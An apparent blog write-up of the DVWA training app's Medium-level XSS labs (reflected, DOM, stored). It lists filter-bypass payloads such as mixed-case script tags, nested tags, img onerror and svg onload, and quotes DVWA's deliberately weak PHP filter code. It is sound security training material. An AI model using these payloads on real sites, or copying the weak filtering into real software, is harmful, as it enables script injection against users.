【DVWA】XSS-----------------(Medium)

【DVWA】XSS-----------------(Medium)

1、Reflected

输入<script>alert(/xss/)</script>

查看网页源码

image-20210219220822491

发现过滤了<script>,不慌不慌。。

尝试绕过: 大小写混合<ScRiPt>alert(/xss/)</script>

拼凑:<scr<script>ipt>alert(/xss/)</script>

img标签:<img src=1 onerror=alert(/xss/) />

svg标签:<svg onload=alert(1)>

均可绕过

image-20210219220925082

源码分析

image-20210219223832953

2、DOM

查看网页源码

image-20210219233412393

构造闭合</select><svg onload=alert(1)>

</select><img src=1 onerror=alert(/xss/)>

</select><a href=javascript:alert(/xss/)> (需要手动点击)

均可绕过:

image-20210219234624363

源码分析

image-20210219230716890

如图所示,若参数中有<script,页面即可被重定向到English页面,而且stripos()匹配不区分大小写,所以换用其他标签即可绕过。

3、Stored

测试流程

输入<script>alert(/xss/)</script>

查看网页源码

image-20210219235224068

发现<script>被过滤了。

尝试大小写混合绕过:

<sCrIpT>alert(/xss/)</script>

image-20210219235424546

成功绕过!其他标签也可以,方法多样。

源码分析

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );  //trim去除开头结尾空格和其他预定义字符(不涉及测试的敏感字符)
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input 这个部分过滤比较严格,很难绕过
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input 这个部分只过滤了<script>,比较好绕过
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 
  • trim() 函数 去除开头结尾空格和其他预定义字符

    image-20210220000231277
  • strip_tags()函数 剥去html, xml, php标签(很难绕过)

    image-20210220000636372

    例子:

    image-20210220000720137

  • addslashes()函数 转义字符串

    在预定义的字符前添加反斜杠

    image-20210220001116778
  • is_object()函数

    用于检测变量是否是一个对象

  • mysqli_real_escape_string() 函数

    用于转义字符串中的特殊字符(不包括测试的敏感字符)

    image-20210220125155984

    trigger_error()函数 函数创建用户自定义的错误消息。

    image-20210220225507850

总结:

dvwa的中级相对于低级来说还是添加了一些过滤的,基本都是对`<script>`标签的过滤
有的区分大小写,直接大小写混合就绕过了,不过stripos()是不区分大小写的,但用其他标签也可绕过。
存储型中的内容输入框过滤比较严格strip_tags()去除html,xml,php标签,绕过比较难。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值